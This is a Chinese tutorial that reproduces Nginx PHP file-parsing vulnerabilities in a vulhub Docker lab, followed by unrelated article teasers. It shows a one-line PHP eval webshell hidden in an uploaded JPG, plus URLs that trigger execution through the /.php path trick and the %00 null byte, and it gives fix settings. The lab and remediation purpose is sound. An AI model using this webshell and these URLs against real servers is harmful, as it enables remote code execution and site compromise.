Nginx 文件解析漏洞复现
一、漏洞说明
Nginx文件解析漏洞算是一个比较经典的漏洞,接下来我们就通过如下步骤进行漏洞复现,以及进行漏洞的修复。
版本条件:IIS 7.0/IIS 7.5/ Nginx <8.03
二、搭建环境
cd /vulhub/nginx/nginx_parsing_vulnerability
docker-compose up -d


三、漏洞特征
访问:http://192.168.25.128/uploadfiles/nginx.png

然后我们输入/.php,可以发现并没有出现文件为找到,而是出现了php的配置信息

四、漏洞复现
使用界面的上传功能上传一个jpg图片马,jpg内容是@eval($_POST[“fname”]);

点击上传后

然后访问:
http://192.168.25.128/uploadfiles/b82ae21729b331095eb02a213284320d.jpg/.php

五、修复建议
1.php.ini配置文件中的cgi.fix_pathinfo=1设置为0
2.security.limit_extensions=./php
六、Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:"http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。xxx.jpg%00.php
相关文章:
Nginx 文件解析漏洞复现
一、漏洞说明 Nginx文件解析漏洞算是一个比较经典的漏洞,接下来我们就通过如下步骤进行漏洞复现,以及进行漏洞的修复。 版本条件:IIS 7.0/IIS 7.5/ Nginx <8.03 二、搭建环境 cd /vulhub/nginx/nginx_parsing_vulnerability docker-compos…...
Lombok依赖
一.介绍 Project Lombok 是一个 Java 库,它会自动插入编辑器和构建工具,为您的 Java 增添趣味。永远不要再写另一个 getter 或 equals 方法,使用一个注释,您的类有一个功能齐全的构建器,自动化您的日志记录变量等等。…...
XML 和 JSON 学习笔记(基础)
XML Why XML 的出现背景:在实际开发中,不同语言(如Java、JavaScript等)的应用程序之间数据传递的格式不同,导致它们进行数据交换时很困难,XML就应运而生了!(XML 是一种通用的数据交…...
L1-005 考试座位号分数 15
每个 PAT 考生在参加考试时都会被分配两个座位号,一个是试机座位,一个是考试座位。正常情况下,考生在入场时先得到试机座位号码,入座进入试机状态后,系统会显示该考生的考试座位号码,考试时考生需要换到考试…...
无涯教程-JavaScript - CEILING.MATH函数
描述 CEILING.MATH函数将数字四舍五入到最接近的整数或最接近的有效倍数。 Excel CEILING.MATH函数是Excel中的十五个舍入函数之一。 语法 CEILING.MATH (number, [significance], [mode])争论 Argument描述Required/OptionalNumberNumber must be less than 9.99E307 and …...
ChatGPT提示词(prompt)资源汇总
文章目录 awesome-chatgpt-promptsLearn PromptingSnack PromptFlow GPTPrompt VineChatGPT 指令大全AI Toolbox HubAI Short ChatGPT是一种强大的生成式AI模型,而提示词(prompt)则是与ChatGPT一起使用的指导性文本,用于引导模型生…...
MySQL 几种导数据的方法与遇到的问题
零、说在前面 MySQL导数据通常使用第三方工具和MySQL自身的工具,本文分别就这两类方法分别介绍。 一、第三方工具之 Navicat 1.1、Navicat的“数据传输”工具 打开Navicat,点击“工具”标签,找到“数据传输”,即可看到操作界面。…...
(21)多线程实例应用:双色球(6红+1蓝)
一、需求 1.双色球: 投注号码由6个红色球号码和1个蓝色球号码组成。 2.红色球号码从01--33中选择,红色球不能重复。 3.蓝色球号码从01--16中选择。 4.最终结果7个号码:61;即33选6(红) 16选1(蓝) 5.产品: …...
升级OpenSSL并进行编译安装
Packaging (OpenSSL)组件存在安全漏洞的原因是由于当前爆出的Openssl漏洞。 这个漏洞可能会导致泄露隐私信息,并且涉及的机器和环境也有所不同,因此修复方案也会有所不同。 目前,一些服务器使用的Nginx是静态编译OpenSSL,直接将Op…...
Spring整合RabbitMQ
一、步骤 生产者 ① 创建生产者工程 ② 添加依赖 ③ 配置整合 ④ 编写代码发送消息 消费者 ① 创建消费者工程 ② 添加依赖 ③ 配置整合 ④ 编写消息监听器 二、代码 生产者工程 1.在生产者工程和消费者工程中都导入如下依赖 <dependencies><dependency&g…...
MySQL——事务和视图
2023.9.17 本章开始介绍TCL语言(Transaction Control Language 事务控制语言)。 事务 事务的概念:一个或一组sql语句组成一个执行单元,这个执行单元要么全部执行,要么全部不执行。 事务的特性:ÿ…...
做好制造项目管理的5个技巧
制造过程通常由不同的要素组成,如采购材料、与供应商合作、优化生产线效率等。制造商还需要处理库存、物流和分销。 为了确保制造项目在预算范围内按时完成,并且不遗漏任何环节,企业必须建立项目管理流程,以帮助改善组织流程和效…...
JavaScript中While循环
JavaScript中处理For循环,还有一种循环while循环; ● 例如我们之前写了一个模拟举重次数的For循环,如下所示 for (let rep 1; rep < 10; rep) {console.log(举重${rep}次); }● 我们也可以使用while循环去实现这种功能 let rep 1; whi…...
python经典百题之乒乓球比赛
题目: 两个乒乓球队进行比赛,各出三人。甲队为a,b,c三人,乙队为x,y,z三人。已抽签决定比赛名单。有人向队员打听比赛的名单。a说他不和x比,c说他不和x,z比,请编程序找出三队赛手的名单。第一种方式: 思路…...
【C++ Exceptions】Catch exceptions by reference!
catch exceptions 写一个catch子句时必须指明异常对象是如何传递到这个子句来的,三种方式: by pointerby valueby reference 接下来比较它们使用时会出现的问题,以说明最好的选择是by reference。 catch by pointer 无需复制对象&#x…...
高斯公式证明
高斯公式: 若空间闭区域 Ω \Omega Ω 由光滑的闭曲面 Σ \Sigma Σ 围成,则 ∫ ∫ ∫ Ω ( ∂ P ∂ x ∂ Q ∂ y ∂ R ∂ z ) d v ∮ ∮ Σ P d y d z Q d z d x R d x d y \int \int \int _{\Omega}(\frac{\partial P}{\partial x} \frac{\p…...
速卖通获得aliexpress商品详情 API 返回值说明
item_get-获得aliexpress商品详情 aliexpress.item_get 进入测试 公共参数 名称类型必须描述keyString是调用key(必须以GET方式拼接在URL中)secretString是调用密钥api_nameString是API接口名称(包括在请求地址中)[item_search…...
c++语法-模板
模板 模板是C中一种强大的特性,允许你编写通用的代码,以便在不同数据类型上重复使用。模板分为函数模板和类模板,它们都是在编译时生成具体代码的蓝图。 函数模板 函数模板是一种定义通用函数的方式,可以在不同数据类型上使用相…...
DMNet复现(一)之数据准备篇:Density map guided object detection in aerial image
一、生成密度图 密度图标签生成 采用以下代码,生成训练集密度图gt: import cv2 import glob import h5py import scipy import pickle import numpy as np from PIL import Image from itertools import islice from tqdm import tqdm from matplotli…...
k8s相关命令-命名空间
k8s相关命令目录 文章目录 前言一、创建命名空间二、删除命名空间三、查看命名空间列表四、查看命名空间列表五、查看特定命名空间下所有资源六、删除特定命名空间下所有资源 前言 记录k8s命名空间的相关操作命令 一、创建命名空间 kubectl create namespace <namespace&g…...
目标检测:YOLOv12训练自己的数据集,手把手教学一看就会
目录 1. 环境配置 2. 数据集 2.1 网上搜索公开数据集 2.1.1 搜索引擎 2.1.2 Kaggle 2.1.3 Roboflow 2.2 自制数据集 2.2.1 Labelimg安装 2.2.2 Labelimg使用 2.3 数据集转换及划分 2.3.1 数据集VOC格式转yolo格式 2.3.2 数据集划分 3. 训练模型 3.1 创建data.yam…...
别再只会用t检验了!用Python的statsmodels库做单因素方差分析,5分钟搞定A/B测试结果解读
用Python实现单因素方差分析:A/B测试中的多组比较实战指南 当产品经理同时测试三种新按钮颜色对转化率的影响时,连续做了三次t检验对比各组差异——这个在互联网公司会议室里反复上演的场景,实际上犯了一个统计学上的典型错误。就像用三把尺…...
巧用frp与nginx反向代理,实现安全远程访问内网ESXi管理界面
1. 为什么需要远程访问ESXi管理界面 对于运维人员来说,能够随时随地访问ESXi管理界面是刚需。想象一下,当你正在出差或者在家休息时,突然需要检查虚拟机状态或者处理紧急故障,如果只能跑到机房操作,那简直是噩梦。我遇…...
别再硬编码数据了!用QAbstractTableModel+QTableView打造你的第一个Qt桌面表格应用(附完整源码)
从零构建Qt桌面表格应用:实战学生信息管理系统 在桌面应用开发领域,数据展示与交互一直是核心需求。无论是企业内部的员工管理系统,还是学校里的成绩统计工具,一个高效、美观的表格界面往往能极大提升工作效率。对于C开发者而言&a…...
PyVideoTrans视频翻译AI配音全攻略:从零开始掌握多语言视频创作
PyVideoTrans视频翻译AI配音全攻略:从零开始掌握多语言视频创作 【免费下载链接】pyvideotrans Translate the video from one language to another and embed dubbing & subtitles. 项目地址: https://gitcode.com/gh_mirrors/py/pyvideotrans PyVideoT…...
线性码基础与最优电路合成技术解析
1. 线性码基础与错误控制原理线性码作为信道编码理论的核心内容,在现代数字通信和存储系统中发挥着不可替代的作用。这类编码通过在原始数据中添加精心设计的冗余信息,使系统能够检测和纠正传输过程中产生的随机错误。从数学角度看,线性码是向…...
SecureVault - 基于新范式的Windows文件加密工具
前言作为一个常年和各种文件打交道的普通人,我一直有个困扰:现有的加密工具要么太复杂,要么太贵,要么用的都是几十年的老算法。我想,能不能做一款简单、便宜、但加密方式完全不同的新工具?于是就有了 Secur…...
CES 2016行业转向:从酷炫到实用,安全与服务成核心
1. 从“酷炫”到“实用”:CES 2016的行业转向解析每年一月的拉斯维加斯,对于科技行业而言,都像是一场盛大的朝圣。CES(国际消费电子展)不仅是新品发布的舞台,更是行业风向的晴雨表。2016年的CES,…...
抖音下载器终极指南:3种场景下的高效内容获取方案
抖音下载器终极指南:3种场景下的高效内容获取方案 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback support. …...
mlc-llm:大语言模型跨平台高效部署的机器学习编译框架
1. 项目概述:当大语言模型遇见“通用编译” 如果你在过去一年里折腾过大语言模型(LLM)的本地部署,大概率经历过这样的场景:兴冲冲地从Hugging Face下载了一个7B参数的模型,却发现自己的消费级显卡…...
